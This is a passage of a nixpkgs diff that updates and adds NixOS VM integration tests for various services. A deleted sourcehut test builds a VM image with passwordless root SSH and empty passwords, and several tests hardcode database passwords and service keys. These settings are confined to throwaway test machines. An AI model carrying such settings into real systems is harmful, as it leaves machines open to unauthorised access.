"primary"; # zonefileless setup # https://www.knot-dns.cz/docs/2.8/html/operation.html#example-2 zonefile-sync = "-1"; @@ -136,11 +148,17 @@ in { }; zone = { - "example.com".file = "example.com.zone"; - "sub.example.com".file = "sub.example.com.zone"; + "example.com" = { + master = "primary"; + file = "example.com.zone"; + }; + "sub.example.com" = { + master = "primary-quic"; + file = "sub.example.com.zone"; + }; }; - log.syslog.any = "info"; + log.syslog.any = "debug"; }; }; client = { lib, nodes, ... }: { diff --git a/nixos/tests/lemmy.nix b/nixos/tests/lemmy.nix index e8d747f89a9e7..d93df3646837f 100644 --- a/nixos/tests/lemmy.nix +++ b/nixos/tests/lemmy.nix @@ -51,7 +51,8 @@ in with subtest("the backend starts and responds"): server.wait_for_open_port(${toString backendPort}) - server.succeed("curl --fail localhost:${toString backendPort}/api/v3/site") + # wait until succeeds, it just needs few seconds for migrations, but lets give it 10s max + server.wait_until_succeeds("curl --fail localhost:${toString backendPort}/api/v3/site", 10) with subtest("the UI starts and responds"): server.wait_for_unit("lemmy-ui.service") diff --git a/nixos/tests/lomiri-system-settings.nix b/nixos/tests/lomiri-system-settings.nix new file mode 100644 index 0000000000000..867fc14797e77 --- /dev/null +++ b/nixos/tests/lomiri-system-settings.nix @@ -0,0 +1,99 @@ +import ./make-test-python.nix ({ pkgs, lib, ... }: { + name = "lomiri-system-settings-standalone"; + meta.maintainers = lib.teams.lomiri.members; + + nodes.machine = { config, pkgs, ... }: { + imports = [ + ./common/x11.nix + ]; + + services.xserver.enable = true; + + environment = { + systemPackages = with pkgs.lomiri; [ + suru-icon-theme + lomiri-system-settings + ]; + variables = { + UITK_ICON_THEME = "suru"; + }; + }; + + i18n.supportedLocales = [ "all" ]; + + fonts.packages = with pkgs; [ + # Intended font & helps with OCR + ubuntu_font_family + ]; + + services.upower.enable = true; + }; + + enableOCR = true; + + testScript = let + settingsPages = [ + # Base pages + { name = "wifi"; type = "internal"; element = "networks"; } + { name = "bluetooth"; type = "internal"; element = "discoverable|None detected"; } + # only text we can really look for with VPN is on a button, OCR on CI struggles with it + { name = "vpn"; type = "internal"; element = "Add|Manual|Configuration"; skipOCR = true; } + { name = "appearance"; type = "internal"; element = "Background image|blur effects"; } + { name = "desktop"; type = "internal"; element = "workspaces|Icon size"; } + { name = "sound"; type = "internal"; element = "Silent Mode|Message sound"; } + { name = "language"; type = "internal"; element = "Display language|External keyboard"; } + { name = "notification"; type = "internal"; element = "Apps that notify"; } + { name = "gestures"; type = "internal"; element = "Edge drag"; } + { name = "mouse"; type = "internal"; element = "Cursor speed|Wheel scrolling speed"; } + { name = "timedate"; type = "internal"; element = "Time zone|Set the time and date"; } + + # External plugins + { name = "security-privacy"; type = "external"; element = "Locking|unlocking|permissions"; elementLocalised = "Sperren|Entsperren|Berechtigungen"; } + ]; + in + '' + machine.wait_for_x() + + with subtest("lomiri system settings launches"): + machine.execute("lomiri-system-settings >&2 &") + machine.wait_for_text("System Settings") + machine.screenshot("lss_open") + + # Move focus to start of plugins list for following list of tests + machine.send_key("tab") + machine.send_key("tab") + machine.screenshot("lss_focus") + + # tab through & open all sub-menus, to make sure none of them fail + '' + (lib.strings.concatMapStringsSep "\n" (page: '' + machine.send_key("tab") + machine.send_key("kp_enter") + '' + + lib.optionalString (!(page.skipOCR or false)) '' + with subtest("lomiri system settings ${page.name} works"): + machine.wait_for_text(r"(${page.element})") + machine.screenshot("lss_page_${page.name}") + '') settingsPages) + '' + + machine.execute("pkill -f lomiri-system-settings") + + with subtest("lomiri system settings localisation works"): + machine.execute("env LANG=de_DE.UTF-8 lomiri-system-settings >&2 &") + machine.wait_for_text("Systemeinstellungen") + machine.screenshot("lss_localised_open") + + # Move focus to start of plugins list for following list of tests + machine.send_key("tab") + machine.send_key("tab") + machine.screenshot("lss_focus_localised") + + '' + (lib.strings.concatMapStringsSep "\n" (page: '' + machine.send_key("tab") + machine.send_key("kp_enter") + '' + lib.optionalString (page.type == "external") '' + with subtest("lomiri system settings ${page.name} localisation works"): + machine.wait_for_text(r"(${page.elementLocalised})") + machine.screenshot("lss_localised_page_${page.name}") + '') settingsPages) + '' + ''; +}) diff --git a/nixos/tests/matomo.nix b/nixos/tests/matomo.nix index 7dbef63136aa5..130f3dd8485a3 100644 --- a/nixos/tests/matomo.nix +++ b/nixos/tests/matomo.nix @@ -47,4 +47,8 @@ in { name = "matomo-beta"; meta.maintainers = with maintainers; [ florianjacob kiwi mmilata twey boozedog ]; }; + matomo_5 = matomoTest pkgs.matomo_5 // { + name = "matomo-5"; + meta.maintainers = with maintainers; [ florianjacob kiwi mmilata twey boozedog ] ++ lib.teams.flyingcircus.members; + }; } diff --git a/nixos/tests/matter-server.nix b/nixos/tests/matter-server.nix new file mode 100644 index 0000000000000..c646e9840d194 --- /dev/null +++ b/nixos/tests/matter-server.nix @@ -0,0 +1,45 @@ +import ./make-test-python.nix ({ pkgs, lib, ...} : + +let + chipVersion = pkgs.python311Packages.home-assistant-chip-core.version; +in + +{ + name = "matter-server"; + meta.maintainers = with lib.maintainers; [ leonm1 ]; + + nodes = { + machine = { config, ... }: { + services.matter-server = { + enable = true; + port = 1234; + }; + }; + }; + + testScript = /* python */ '' + start_all() + + machine.wait_for_unit("matter-server.service") + machine.wait_for_open_port(1234) + + with subtest("Check websocket server initialized"): + output = machine.succeed("echo \"\" | ${pkgs.websocat}/bin/websocat ws://localhost:1234/ws") + machine.log(output) + + assert '"sdk_version": "${chipVersion}"' in output, ( + 'CHIP version \"${chipVersion}\" not present in websocket message' + ) + + assert '"fabric_id": 1' in output, ( + "fabric_id not propagated to server" + ) + + with subtest("Check storage directory is created"): + machine.succeed("ls /var/lib/matter-server/chip.json") + + with subtest("Check systemd hardening"): + _, output = machine.execute("systemd-analyze security matter-server.service | grep -v '✓'") + machine.log(output) + ''; +}) diff --git a/nixos/tests/mealie.nix b/nixos/tests/mealie.nix new file mode 100644 index 0000000000000..88f749c712948 --- /dev/null +++ b/nixos/tests/mealie.nix @@ -0,0 +1,24 @@ +import ./make-test-python.nix ({ pkgs, ...} : + +{ + name = "mealie"; + meta = with pkgs.lib.maintainers; { + maintainers = [ litchipi ]; + }; + + nodes = { + server = { + services.mealie = { + enable = true; + port = 9001; + }; + }; + }; + + testScript = '' + start_all() + server.wait_for_unit("mealie.service") + server.wait_for_open_port(9001) + server.succeed("curl --fail http://localhost:9001") + ''; +}) diff --git a/nixos/tests/miniflux.nix b/nixos/tests/miniflux.nix index a3af53db0e7a1..6d38224448ed6 100644 --- a/nixos/tests/miniflux.nix +++ b/nixos/tests/miniflux.nix @@ -15,6 +15,10 @@ let ADMIN_USERNAME=${username} ADMIN_PASSWORD=${password} ''; + postgresPassword = "correcthorsebatterystaple"; + postgresPasswordFile = pkgs.writeText "pgpass" '' + *:*:*:*:${postgresPassword} + ''; in { @@ -56,32 +60,62 @@ in adminCredentialsFile = customAdminCredentialsFile; }; }; + + postgresTcp = { config, pkgs, lib, ... }: { + services.postgresql = { + enable = true; + initialScript = pkgs.writeText "init-postgres" '' + CREATE USER miniflux WITH PASSWORD '${postgresPassword}'; + CREATE DATABASE miniflux WITH OWNER miniflux; + ''; + enableTCPIP = true; + authentication = '' + host sameuser miniflux samenet scram-sha-256 + ''; + }; + systemd.services.postgresql.postStart = lib.mkAfter '' + $PSQL -tAd miniflux -c 'CREATE EXTENSION hstore;' + ''; + networking.firewall.allowedTCPPorts = [ config.services.postgresql.port ]; + }; + externalDb = { ... }: { + security.apparmor.enable = true; + services.miniflux = { + enable = true; + createDatabaseLocally = false; + inherit adminCredentialsFile; + config = { + DATABASE_URL = "user=miniflux host=postgresTcp dbname=miniflux sslmode=disable"; + PGPASSFILE = "/run/miniflux/pgpass"; + }; + }; + systemd.services.miniflux.preStart = '' + cp ${postgresPasswordFile} /run/miniflux/pgpass + chmod 600 /run/miniflux/pgpass + ''; + }; }; testScript = '' - start_all() + def runTest(machine, port, user): + machine.wait_for_unit("miniflux.service") + machine.wait_for_open_port(port) + machine.succeed(f"curl --fail 'http://localhost:{port}/healthcheck' | grep OK") + machine.succeed( + f"curl 'http://localhost:{port}/v1/me' -u '{user}' -H Content-Type:application/json | grep '\"is_admin\":true'" + ) + machine.fail('journalctl -b --no-pager --grep "^audit: .*apparmor=\\"DENIED\\""') - default.wait_for_unit("miniflux.service") - default.wait_for_open_port(${toString defaultPort}) - default.succeed("curl --fail 'http://localhost:${toString defaultPort}/healthcheck' | grep OK") - default.succeed( - "curl 'http://localhost:${toString defaultPort}/v1/me' -u '${defaultUsername}:${defaultPassword}' -H Content-Type:application/json | grep '\"is_admin\":true'" - ) - default.fail('journalctl -b --no-pager --grep "^audit: .*apparmor=\\"DENIED\\""') + default.start() + withoutSudo.start() + customized.start() + postgresTcp.start() - withoutSudo.wait_for_unit("miniflux.service") - withoutSudo.wait_for_open_port(${toString defaultPort}) - withoutSudo.succeed("curl --fail 'http://localhost:${toString defaultPort}/healthcheck' | grep OK") - withoutSudo.succeed( - "curl 'http://localhost:${toString defaultPort}/v1/me' -u '${defaultUsername}:${defaultPassword}' -H Content-Type:application/json | grep '\"is_admin\":true'" - ) - withoutSudo.fail('journalctl -b --no-pager --grep "^audit: .*apparmor=\\"DENIED\\""') + runTest(default, ${toString defaultPort}, "${defaultUsername}:${defaultPassword}") + runTest(withoutSudo, ${toString defaultPort}, "${defaultUsername}:${defaultPassword}") + runTest(customized, ${toString port}, "${username}:${password}") - customized.wait_for_unit("miniflux.service") - customized.wait_for_open_port(${toString port}) - customized.succeed("curl --fail 'http://localhost:${toString port}/healthcheck' | grep OK") - customized.succeed( - "curl 'http://localhost:${toString port}/v1/me' -u '${username}:${password}' -H Content-Type:application/json | grep '\"is_admin\":true'" - ) - customized.fail('journalctl -b --no-pager --grep "^audit: .*apparmor=\\"DENIED\\""') + postgresTcp.wait_for_unit("postgresql.service") + externalDb.start() + runTest(externalDb, ${toString defaultPort}, "${defaultUsername}:${defaultPassword}") ''; }) diff --git a/nixos/tests/minio.nix b/nixos/tests/minio.nix index ece4864f771c0..67eb0cd884400 100644 --- a/nixos/tests/minio.nix +++ b/nixos/tests/minio.nix @@ -43,17 +43,17 @@ import ./make-test-python.nix ({ pkgs, ... }: # Minio requires at least 1GiB of free disk space to run. virtualisation.diskSize = 4 * 1024; + + # Minio pre allocates 2GiB or memory, reserve some more + virtualisation.memorySize = 4096; }; }; testScript = '' - import time start_all() # simulate manually editing root credentials file machine.wait_for_unit("multi-user.target") - machine.copy_from_host("${credsPartial}", "${rootCredentialsFile}") - time.sleep(3) machine.copy_from_host("${credsFull}", "${rootCredentialsFile}") machine.wait_for_unit("minio.service") diff --git a/nixos/tests/monado.nix b/nixos/tests/monado.nix new file mode 100644 index 0000000000000..8368950951e73 --- /dev/null +++ b/nixos/tests/monado.nix @@ -0,0 +1,39 @@ +import ./make-test-python.nix ({ pkgs, ... }: { + name = "monado"; + + nodes.machine = + { pkgs, ... }: + + { + hardware.opengl.enable = true; + users.users.alice = { + isNormalUser = true; + uid = 1000; + }; + + services.monado = { + enable = true; + defaultRuntime = true; + }; + # Stop Monado from probing for any hardware + systemd.user.services.monado.environment.SIMULATED_ENABLE = "1"; + + environment.systemPackages = with pkgs; [ openxr-loader ]; + }; + + testScript = { nodes, ... }: + let + userId = toString nodes.machine.users.users.alice.uid; + runtimePath = "/run/user/${userId}"; + in + '' + machine.succeed("loginctl enable-linger alice") + machine.wait_for_unit("user@${userId}.service") + + machine.wait_for_unit("monado.socket", "alice") + machine.systemctl("start monado.service", "alice") + machine.wait_for_unit("monado.service", "alice") + + machine.succeed("su -- alice -c env XDG_RUNTIME_DIR=${runtimePath} openxr_runtime_list") + ''; +}) diff --git a/nixos/tests/morph-browser.nix b/nixos/tests/morph-browser.nix new file mode 100644 index 0000000000000..859e6bb47646a --- /dev/null +++ b/nixos/tests/morph-browser.nix @@ -0,0 +1,53 @@ +import ./make-test-python.nix ({ pkgs, lib, ... }: { + name = "morph-browser-standalone"; + meta.maintainers = lib.teams.lomiri.members; + + nodes.machine = { config, pkgs, ... }: { + imports = [ + ./common/x11.nix + ]; + + services.xserver.enable = true; + + environment = { + systemPackages = with pkgs.lomiri; [ + suru-icon-theme + morph-browser + ]; + variables = { + UITK_ICON_THEME = "suru"; + }; + }; + + i18n.supportedLocales = [ "all" ]; + + fonts.packages = with pkgs; [ + # Intended font & helps with OCR + ubuntu_font_family + ]; + }; + + enableOCR = true; + + testScript = + '' + machine.wait_for_x() + + with subtest("morph browser launches"): + machine.execute("morph-browser >&2 &") + machine.wait_for_text(r"Web Browser|New|sites|Bookmarks") + machine.screenshot("morph_open") + + with subtest("morph browser displays HTML"): + machine.send_chars("file://${pkgs.valgrind.doc}/share/doc/valgrind/html/index.html\n") + machine.wait_for_text("Valgrind Documentation") + machine.screenshot("morph_htmlcontent") + + machine.succeed("pkill -f morph-browser") + + with subtest("morph browser localisation works"): + machine.execute("env LANG=de_DE.UTF-8 morph-browser >&2 &") + machine.wait_for_text(r"Web-Browser|Neuer|Seiten|Lesezeichen") + machine.screenshot("morph_localised") + ''; +}) diff --git a/nixos/tests/nextcloud/with-postgresql-and-redis.nix b/nixos/tests/nextcloud/with-postgresql-and-redis.nix index 3c090f0d3c3b7..06afc589403dd 100644 --- a/nixos/tests/nextcloud/with-postgresql-and-redis.nix +++ b/nixos/tests/nextcloud/with-postgresql-and-redis.nix @@ -39,7 +39,7 @@ in { }; extraAppsEnable = true; extraApps = { - inherit (pkgs."nextcloud${lib.versions.major config.services.nextcloud.package.version}Packages".apps) notify_push; + inherit (pkgs."nextcloud${lib.versions.major config.services.nextcloud.package.version}Packages".apps) notify_push notes; }; settings.trusted_proxies = [ "::1" ]; }; @@ -84,7 +84,7 @@ in { "${withRcloneEnv} ${copySharedFile}" ) client.wait_for_unit("multi-user.target") - client.execute("${pkgs.nextcloud-notify_push.passthru.test_client}/bin/test_client http://nextcloud ${adminuser} ${adminpass} >&2 &") + client.execute("${pkgs.lib.getExe pkgs.nextcloud-notify_push.passthru.test_client} http://nextcloud ${adminuser} ${adminpass} >&2 &") client.succeed( "${withRcloneEnv} ${diffSharedFile}" ) @@ -92,5 +92,7 @@ in { # redis cache should not be empty nextcloud.fail('test "[]" = "$(redis-cli --json KEYS "*")"') + + nextcloud.fail("curl -f http://nextcloud/nix-apps/notes/lib/AppInfo/Application.php") ''; })) args diff --git a/nixos/tests/nixops/default.nix b/nixos/tests/nixops/default.nix index 6501d13a2ed36..8477e5059fcaf 100644 --- a/nixos/tests/nixops/default.nix +++ b/nixos/tests/nixops/default.nix @@ -9,7 +9,7 @@ let # - Alternatively, blocked on a NixOps 2 release # https://github.com/NixOS/nixops/issues/1242 # stable = testsLegacyNetwork { nixopsPkg = pkgs.nixops; }; - unstable = testsForPackage { nixopsPkg = pkgs.nixops_unstable; }; + unstable = testsForPackage { nixopsPkg = pkgs.nixops_unstable_minimal; }; # inherit testsForPackage; }; @@ -32,6 +32,7 @@ let pkgs.hello pkgs.figlet ]; + virtualisation.memorySize = 2048; # TODO: make this efficient, https://github.com/NixOS/nixpkgs/issues/180529 system.includeBuildDependencies = true; diff --git a/nixos/tests/plasma6.nix b/nixos/tests/plasma6.nix new file mode 100644 index 0000000000000..ec5b3f24ef749 --- /dev/null +++ b/nixos/tests/plasma6.nix @@ -0,0 +1,64 @@ +import ./make-test-python.nix ({ pkgs, ...} : + +{ + name = "plasma6"; + meta = with pkgs.lib.maintainers; { + maintainers = [ k900 ]; + }; + + nodes.machine = { ... }: + + { + imports = [ ./common/user-account.nix ]; + services.xserver.enable = true; + services.xserver.displayManager.sddm.enable = true; + # FIXME: this should be testing Wayland + services.xserver.displayManager.defaultSession = "plasmax11"; + services.xserver.desktopManager.plasma6.enable = true; + environment.plasma6.excludePackages = [ pkgs.kdePackages.elisa ]; + services.xserver.displayManager.autoLogin = { + enable = true; + user = "alice"; + }; + }; + + testScript = { nodes, ... }: let + user = nodes.machine.users.users.alice; + xdo = "${pkgs.xdotool}/bin/xdotool"; + in '' + with subtest("Wait for login"): + start_all() + machine.wait_for_file("/tmp/xauth_*") + machine.succeed("xauth merge /tmp/xauth_*") + + with subtest("Check plasmashell started"): + machine.wait_until_succeeds("pgrep plasmashell") + machine.wait_for_window("^Desktop ") + + with subtest("Check that KDED is running"): + machine.succeed("pgrep kded6") + + with subtest("Ensure Elisa is not installed"): + machine.fail("which elisa") + + machine.succeed("su - ${user.name} -c 'xauth merge /tmp/xauth_*'") + + with subtest("Run Dolphin"): + machine.execute("su - ${user.name} -c 'DISPLAY=:0.0 dolphin >&2 &'") + machine.wait_for_window(" Dolphin") + + with subtest("Run Konsole"): + machine.execute("su - ${user.name} -c 'DISPLAY=:0.0 konsole >&2 &'") + machine.wait_for_window("Konsole") + + with subtest("Run systemsettings"): + machine.execute("su - ${user.name} -c 'DISPLAY=:0.0 systemsettings >&2 &'") + machine.wait_for_window("Settings") + + with subtest("Wait to get a screenshot"): + machine.execute( + "${xdo} key Alt+F1 sleep 10" + ) + machine.screenshot("screen") + ''; +}) diff --git a/nixos/tests/power-profiles-daemon.nix b/nixos/tests/power-profiles-daemon.nix index c887cde4b829e..8a54d8e8bab87 100644 --- a/nixos/tests/power-profiles-daemon.nix +++ b/nixos/tests/power-profiles-daemon.nix @@ -8,22 +8,22 @@ import ./make-test-python.nix ({ pkgs, ... }: nodes.machine = { pkgs, ... }: { security.polkit.enable = true; services.power-profiles-daemon.enable = true; - environment.systemPackages = [ pkgs.glib ]; + environment.systemPackages = [ pkgs.glib pkgs.power-profiles-daemon ]; }; testScript = '' def get_profile(): return machine.succeed( - """gdbus call --system --dest net.hadess.PowerProfiles --object-path /net/hadess/PowerProfiles \ - --method org.freedesktop.DBus.Properties.Get 'net.hadess.PowerProfiles' 'ActiveProfile' + """gdbus call --system --dest org.freedesktop.UPower.PowerProfiles --object-path /org/freedesktop/UPower/PowerProfiles \ + --method org.freedesktop.DBus.Properties.Get 'org.freedesktop.UPower.PowerProfiles' 'ActiveProfile' """ ) def set_profile(profile): return machine.succeed( - """gdbus call --system --dest net.hadess.PowerProfiles --object-path /net/hadess/PowerProfiles \ - --method org.freedesktop.DBus.Properties.Set 'net.hadess.PowerProfiles' 'ActiveProfile' "<'{profile}'>" + """gdbus call --system --dest org.freedesktop.UPower.PowerProfiles --object-path /org/freedesktop/UPower/PowerProfiles \ + --method org.freedesktop.DBus.Properties.Set 'org.freedesktop.UPower.PowerProfiles' 'ActiveProfile' "<'{profile}'>" """.format( profile=profile ) @@ -42,5 +42,16 @@ import ./make-test-python.nix ({ pkgs, ... }: profile = get_profile() if not "balanced" in profile: raise Exception("Unable to set balanced profile") + + # test powerprofilectl CLI + machine.succeed("powerprofilesctl set power-saver") + profile = get_profile() + if not "power-saver" in profile: + raise Exception("Unable to set power-saver profile with powerprofilectl") + + machine.succeed("powerprofilesctl set balanced") + profile = get_profile() + if not "balanced" in profile: + raise Exception("Unable to set balanced profile with powerprofilectl") ''; }) diff --git a/nixos/tests/prometheus-exporters.nix b/nixos/tests/prometheus-exporters.nix index 7e74f27174ec6..632656ad57953 100644 --- a/nixos/tests/prometheus-exporters.nix +++ b/nixos/tests/prometheus-exporters.nix @@ -218,6 +218,9 @@ let services.dnsmasq.enable = true; }; exporterTest = '' + wait_for_unit("dnsmasq.service") + wait_for_open_port(53) + wait_for_file("/var/lib/dnsmasq/dnsmasq.leases") wait_for_unit("prometheus-dnsmasq-exporter.service") wait_for_open_port(9153) succeed("curl -sSf http://localhost:9153/metrics | grep 'dnsmasq_leases 0'") diff --git a/nixos/tests/qemu-vm-external-disk-image.nix b/nixos/tests/qemu-vm-external-disk-image.nix index a229fc5e39633..c481159511a02 100644 --- a/nixos/tests/qemu-vm-external-disk-image.nix +++ b/nixos/tests/qemu-vm-external-disk-image.nix @@ -69,5 +69,8 @@ in os.environ['NIX_DISK_IMAGE'] = tmp_disk_image.name machine.succeed("findmnt --kernel --source ${rootFsDevice} --target /") + + # Make sure systemd boot didn't clobber this + machine.succeed("[ ! -e /homeless-shelter ]") ''; } diff --git a/nixos/tests/qownnotes.nix b/nixos/tests/qownnotes.nix index 93801cb987027..3390ba6d90253 100644 --- a/nixos/tests/qownnotes.nix +++ b/nixos/tests/qownnotes.nix @@ -21,6 +21,7 @@ import ./make-test-python.nix ({ lib, pkgs, ...} : enableOCR = true; + # https://nixos.org/manual/nixos/stable/#ssec-machine-objects testScript = { nodes, ... }: let aliceDo = cmd: ''machine.succeed("su - alice -c '${cmd}' >&2 &");''; in '' @@ -52,8 +53,13 @@ import ./make-test-python.nix ({ lib, pkgs, ...} : machine.wait_for_text("App metric") machine.send_key("ret") + # Doesn't work for non-root + #machine.wait_for_window("QOwnNotes - ${pkgs.qownnotes.version}") + + # OCR doesn't seem to be able any more to handle the main window + #machine.wait_for_text("QOwnNotes - ${pkgs.qownnotes.version}") + # The main window should now show up - machine.wait_for_text("QOwnNotes - ${pkgs.qownnotes.version}") machine.wait_for_open_port(22222) machine.wait_for_console_text("QOwnNotes server listening on port 22222") @@ -63,7 +69,13 @@ import ./make-test-python.nix ({ lib, pkgs, ...} : machine.send_key("ctrl-n") machine.sleep(1) machine.send_chars("This is a NixOS test!\n") - machine.wait_for_text("This is a NixOS test!") + machine.wait_until_succeeds("find /home/alice/Notes -type f | grep -qi 'Note 2'") + + # OCR doesn't seem to be able any more to handle the main window + #machine.wait_for_text("This is a NixOS test!") + + # Doesn't work for non-root + #machine.wait_for_window("- QOwnNotes - ${pkgs.qownnotes.version}") machine.screenshot("QOwnNotes-NewNote") ''; diff --git a/nixos/tests/sanoid.nix b/nixos/tests/sanoid.nix index 411ebcead9f6e..1575634e62842 100644 --- a/nixos/tests/sanoid.nix +++ b/nixos/tests/sanoid.nix @@ -115,8 +115,11 @@ in { source.systemctl("start --wait syncoid-pool-sanoid.service") target.succeed("cat /mnt/pool/sanoid/test.txt") source.systemctl("start --wait syncoid-pool-syncoid.service") + source.systemctl("start --wait syncoid-pool-syncoid.service") target.succeed("cat /mnt/pool/syncoid/test.txt") + assert(len(source.succeed("zfs list -H -t snapshot pool/syncoid").splitlines()) == 1), "Syncoid should only retain one sync snapshot" + source.systemctl("start --wait syncoid-pool.service") target.succeed("[[ -d /mnt/pool/full-pool/syncoid ]]") diff --git a/nixos/tests/scrutiny.nix b/nixos/tests/scrutiny.nix new file mode 100644 index 0000000000000..33160a6b30880 --- /dev/null +++ b/nixos/tests/scrutiny.nix @@ -0,0 +1,70 @@ +import ./make-test-python.nix ({ lib, ... }: + +{ + name = "scrutiny"; + meta.maintainers = with lib.maintainers; [ jnsgruk ]; + + nodes = { + machine = { self, pkgs, lib, ... }: { + services = { + scrutiny.enable = true; + scrutiny.collector.enable = true; + }; + + environment.systemPackages = + let + seleniumScript = pkgs.writers.writePython3Bin "selenium-script" + { + libraries = with pkgs.python3Packages; [ selenium ]; + } '' + from selenium import webdriver + from selenium.webdriver.common.by import By + from selenium.webdriver.firefox.options import Options + from selenium.webdriver.support.ui import WebDriverWait + from selenium.webdriver.support import expected_conditions as EC + + options = Options() + options.add_argument("--headless") + service = webdriver.FirefoxService(executable_path="${lib.getExe pkgs.geckodriver}") # noqa: E501 + + driver = webdriver.Firefox(options=options, service=service) + driver.implicitly_wait(10) + driver.get("http://localhost:8080/web/dashboard") + + wait = WebDriverWait(driver, 10).until( + EC.text_to_be_present_in_element( + (By.TAG_NAME, "body"), "Drive health at a glance") + ) + + body_text = driver.find_element(By.TAG_NAME, "body").text + assert "Temperature history for each device" in body_text + + driver.close() + ''; + in + with pkgs; [ curl firefox-unwrapped geckodriver seleniumScript ]; + }; + }; + # This is the test code that will check if our service is running correctly: + testScript = '' + start_all() + + # Wait for InfluxDB to be available + machine.wait_for_unit("influxdb2") + machine.wait_for_open_port(8086) + + # Wait for Scrutiny to be available + machine.wait_for_unit("scrutiny") + machine.wait_for_open_port(8080) + + # Ensure the API responds as we expect + output = machine.succeed("curl localhost:8080/api/health") + assert output == '{"success":true}' + + # Start the collector service to send some metrics + collect = machine.succeed("systemctl start scrutiny-collector.service") + + # Ensure the application is actually rendered by the Javascript + machine.succeed("PYTHONUNBUFFERED=1 selenium-script") + ''; +}) diff --git a/nixos/tests/searx.nix b/nixos/tests/searx.nix index 2f808cb65266e..02a88f690db78 100644 --- a/nixos/tests/searx.nix +++ b/nixos/tests/searx.nix @@ -36,7 +36,7 @@ import ./make-test-python.nix ({ pkgs, ...} : }; # fancy setup: run in uWSGI and use nginx as proxy - nodes.fancy = { ... }: { + nodes.fancy = { config, ... }: { imports = [ ../modules/profiles/minimal.nix ]; services.searx = { @@ -65,7 +65,7 @@ import ./make-test-python.nix ({ pkgs, ...} : include ${pkgs.nginx}/conf/uwsgi_params; uwsgi_pass unix:/run/searx/uwsgi.sock; ''; - locations."/searx/static/".alias = "${pkgs.searx}/share/static/"; + locations."/searx/static/".alias = "${config.services.searx.package}/share/static/"; }; # allow nginx access to the searx socket @@ -108,7 +108,7 @@ import ./make-test-python.nix ({ pkgs, ...} : "${pkgs.curl}/bin/curl --fail http://localhost/searx >&2" ) fancy.succeed( - "${pkgs.curl}/bin/curl --fail http://localhost/searx/static/themes/oscar/js/bootstrap.min.js >&2" + "${pkgs.curl}/bin/curl --fail http://localhost/searx/static/themes/simple/js/leaflet.js >&2" ) ''; }) diff --git a/nixos/tests/slurm.nix b/nixos/tests/slurm.nix index a6b02e970b0c5..ad516b6e8d2b5 100644 --- a/nixos/tests/slurm.nix +++ b/nixos/tests/slurm.nix @@ -45,7 +45,7 @@ let ''; in pkgs.runCommand "mpitest" {} '' mkdir -p $out/bin - ${pkgs.openmpi}/bin/mpicc ${mpitestC} -o $out/bin/mpitest + ${lib.getDev pkgs.mpi}/bin/mpicc ${mpitestC} -o $out/bin/mpitest ''; in { name = "slurm"; diff --git a/nixos/tests/sourcehut.nix b/nixos/tests/sourcehut.nix deleted file mode 100644 index 0b258acc2af1d..0000000000000 --- a/nixos/tests/sourcehut.nix +++ /dev/null @@ -1,252 +0,0 @@ -import ./make-test-python.nix ({ pkgs, lib, ... }: -let - domain = "sourcehut.localdomain"; - - # Note that wildcard certificates just under the TLD (eg. *.com) - # would be rejected by clients like curl. - tls-cert = pkgs.runCommand "selfSignedCerts" { buildInputs = [ pkgs.openssl ]; } '' - openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -nodes -days 36500 \ - -subj '/CN=${domain}' -extensions v3_req \ - -addext 'subjectAltName = DNS:*.${domain}' - install -D -t $out key.pem cert.pem - ''; - - images = { - nixos.unstable.x86_64 = - let - systemConfig = { pkgs, ... }: { - # passwordless ssh server - services.openssh = { - enable = true; - settings = { - PermitRootLogin = "yes"; - PermitEmptyPasswords = true; - }; - }; - - users = { - mutableUsers = false; - # build user - extraUsers."build" = { - isNormalUser = true; - uid = 1000; - extraGroups = [ "wheel" ]; - password = ""; - }; - users.root.password = ""; - }; - - security.sudo.wheelNeedsPassword = false; - nix.settings.trusted-users = [ "root" "build" ]; - documentation.nixos.enable = false; - - # builds.sr.ht-image-specific network settings - networking = { - hostName = "build"; - dhcpcd.enable = false; - defaultGateway.address = "10.0.2.2"; - usePredictableInterfaceNames = false; - interfaces."eth0".ipv4.addresses = [{ - address = "10.0.2.15"; - prefixLength = 25; - }]; - enableIPv6 = false; - nameservers = [ - # OpenNIC anycast - "185.121.177.177" - "169.239.202.202" - # Google - "8.8.8.8" - ]; - firewall.allowedTCPPorts = [ 22 ]; - }; - - environment.systemPackages = [ - pkgs.gitMinimal - #pkgs.mercurial - pkgs.curl - pkgs.gnupg - ]; - }; - qemuConfig = { pkgs, ... }: { - imports = [ systemConfig ]; - fileSystems."/".device = "/dev/disk/by-label/nixos"; - boot.initrd.availableKernelModules = [ - "ahci" - "ehci_pci" - "sd_mod" - "usb_storage" - "usbhid" - "virtio_balloon" - "virtio_blk" - "virtio_pci" - "virtio_ring" - "xhci_pci" - ]; - boot.loader = { - grub = { - version = 2; - device = "/dev/vda"; - }; - timeout = 0; - }; - }; - config = (import (pkgs.path + "/nixos/lib/eval-config.nix") { - inherit pkgs; modules = [ qemuConfig ]; - system = "x86_64-linux"; - }).config; - in - import (pkgs.path + "/nixos/lib/make-disk-image.nix") { - inherit pkgs lib config; - diskSize = 16000; - format = "qcow2-compressed"; - contents = [ - { source = pkgs.writeText "gitconfig" '' - [user] - name = builds.sr.ht - email = build@sr.ht - ''; - target = "/home/build/.gitconfig"; - user = "build"; - group = "users"; - mode = "644"; - } - ]; - }; - }; - -in -{ - name = "sourcehut"; - - meta.maintainers = [ pkgs.lib.maintainers.tomberek ]; - - nodes.machine = { config, pkgs, nodes, ... }: { - # buildsrht needs space - virtualisation.diskSize = 4 * 1024; - virtualisation.memorySize = 2 * 1024; - networking.domain = domain; - networking.enableIPv6 = false; - networking.extraHosts = '' - ${config.networking.primaryIPAddress} builds.${domain} - ${config.networking.primaryIPAddress} git.${domain} - ${config.networking.primaryIPAddress} meta.${domain} - ''; - - services.sourcehut = { - enable = true; - nginx.enable = true; - nginx.virtualHost = { - forceSSL = true; - sslCertificate = "${tls-cert}/cert.pem"; - sslCertificateKey = "${tls-cert}/key.pem"; - }; - postgresql.enable = true; - redis.enable = true; - - meta.enable = true; - builds = { - enable = true; - # FIXME: see why it does not seem to activate fully. - #enableWorker = true; - inherit images; - }; - git.enable = true; - - settings."sr.ht" = { - global-domain = config.networking.domain; - service-key = pkgs.writeText "service-key" "8b327279b77e32a3620e2fc9aabce491cc46e7d821fd6713b2a2e650ce114d01"; - network-key = pkgs.writeText "network-key" "cEEmc30BRBGkgQZcHFksiG7hjc6_dK1XR2Oo5Jb9_nQ="; - }; - settings."builds.sr.ht" = { - oauth-client-secret = pkgs.writeText 